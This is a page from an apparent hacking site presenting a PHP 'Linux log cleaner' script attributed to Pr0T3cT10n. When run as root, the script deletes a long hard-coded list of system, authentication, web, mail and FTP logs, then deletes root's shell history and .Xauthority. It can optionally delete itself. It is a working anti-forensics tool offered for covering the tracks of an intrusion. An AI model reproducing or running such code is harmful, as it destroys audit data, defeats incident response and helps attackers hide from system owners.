#Home
|
#Search
|
#IRC(
WEB
/
Client
)
|
#MD5 Cracker
|
#Categories
|
#Links
|
#About
Linux log cleaner(Only with 'root' user)
<?php //-------------------------------------------------------- // Linux log cleaner // Coded By Pr0T3cT10n // http://www.nullbyte.org.il //-------------------------------------------------------- error_reporting(E_ALL); $remove = "0"; // Remove this file? 0 = NO | 1 = YES $file = "/tmp/log_cleaner.php"; // Path to this file - if you set the var $remove you will need this too. if(getmyuid() == '0') { $log_files = Array('/var/log', '/var/log/warn', '/var/log/lastlog', '/var/log/messages', '/var/log/wtmp', '/var/log/poplog', '/var/log/qmail', '/var/log/smtpd', '/var/log/telnetd', '/var/log/secure', '/var/log/auth', '/var/log/thttpd_log', '/var/log/spooler', '/var/spool/tmp', '/var/spool/errors', '/var/spool/locks', '/var/log/nctfpd.errs', '/var/log/acct', '/var/apache/log', '/var/apache/logs', '/usr/local/apache/log', '/usr/local/apache/logs', '/usr/local/www/logs/thttpd_log', '/var/log/news', '/var/log/news/news', '/var/log/news.all', '/var/log/news/news.all', '/var/log/news/news.crit', '/var/log/news/news.err', '/var/log/news/news.notice', '/var/log/news/suck.err', '/var/log/news/suck.notice', '/var/log/xferlog', '/var/log/proftpd/xferlog.legacy', '/var/log/proftpd.xferlog', '/var/log/proftpd.access_log', '/var/log/httpd/error_log', '/var/log/httpsd/ssl_log', '/var/log/httpsd/ssl.access_log', '/var/adm', '/var/run/utmp/', '/etc/wtmp', '/etc/utmp', '/etc/mail/access', '/var/log/ncftpd/misclog.txt'); $bash_files = Array('/root/.ksh_history', '/root/.bash_history', '/root/.bash_logut', '/root/.Xauthority'); echo("[+]Start cleaning log files..\n"); sleep(3); foreach($log_files as $log_file) if(@unlink($log_file)) echo("[+]Server logs deleted successfully!\n"); else echo("[-]Can't delete server log files.\n"); foreach($bash_files as $bash_file) if(@unlink($bash_file)) echo("[+]Bash history deleted successfully!\n"); else echo("[-]Can't delete bash history files.\n"); if($remove == '1') { if(is_file($file)) if(@system("rm -r " .$file)) echo("[+]This file deleted successfully!\n"); else echo("[-]Can't delete this file.\n"); else echo("[-]I can't find any correctly path to file.\n"); } } else echo("[-]You must be as 'root' user for using this tool.\n"); ?>
Back
Send all submissions to nullbyte.israel[at]gmail.com
Copyright © 2009 - 2010 | Queries: 4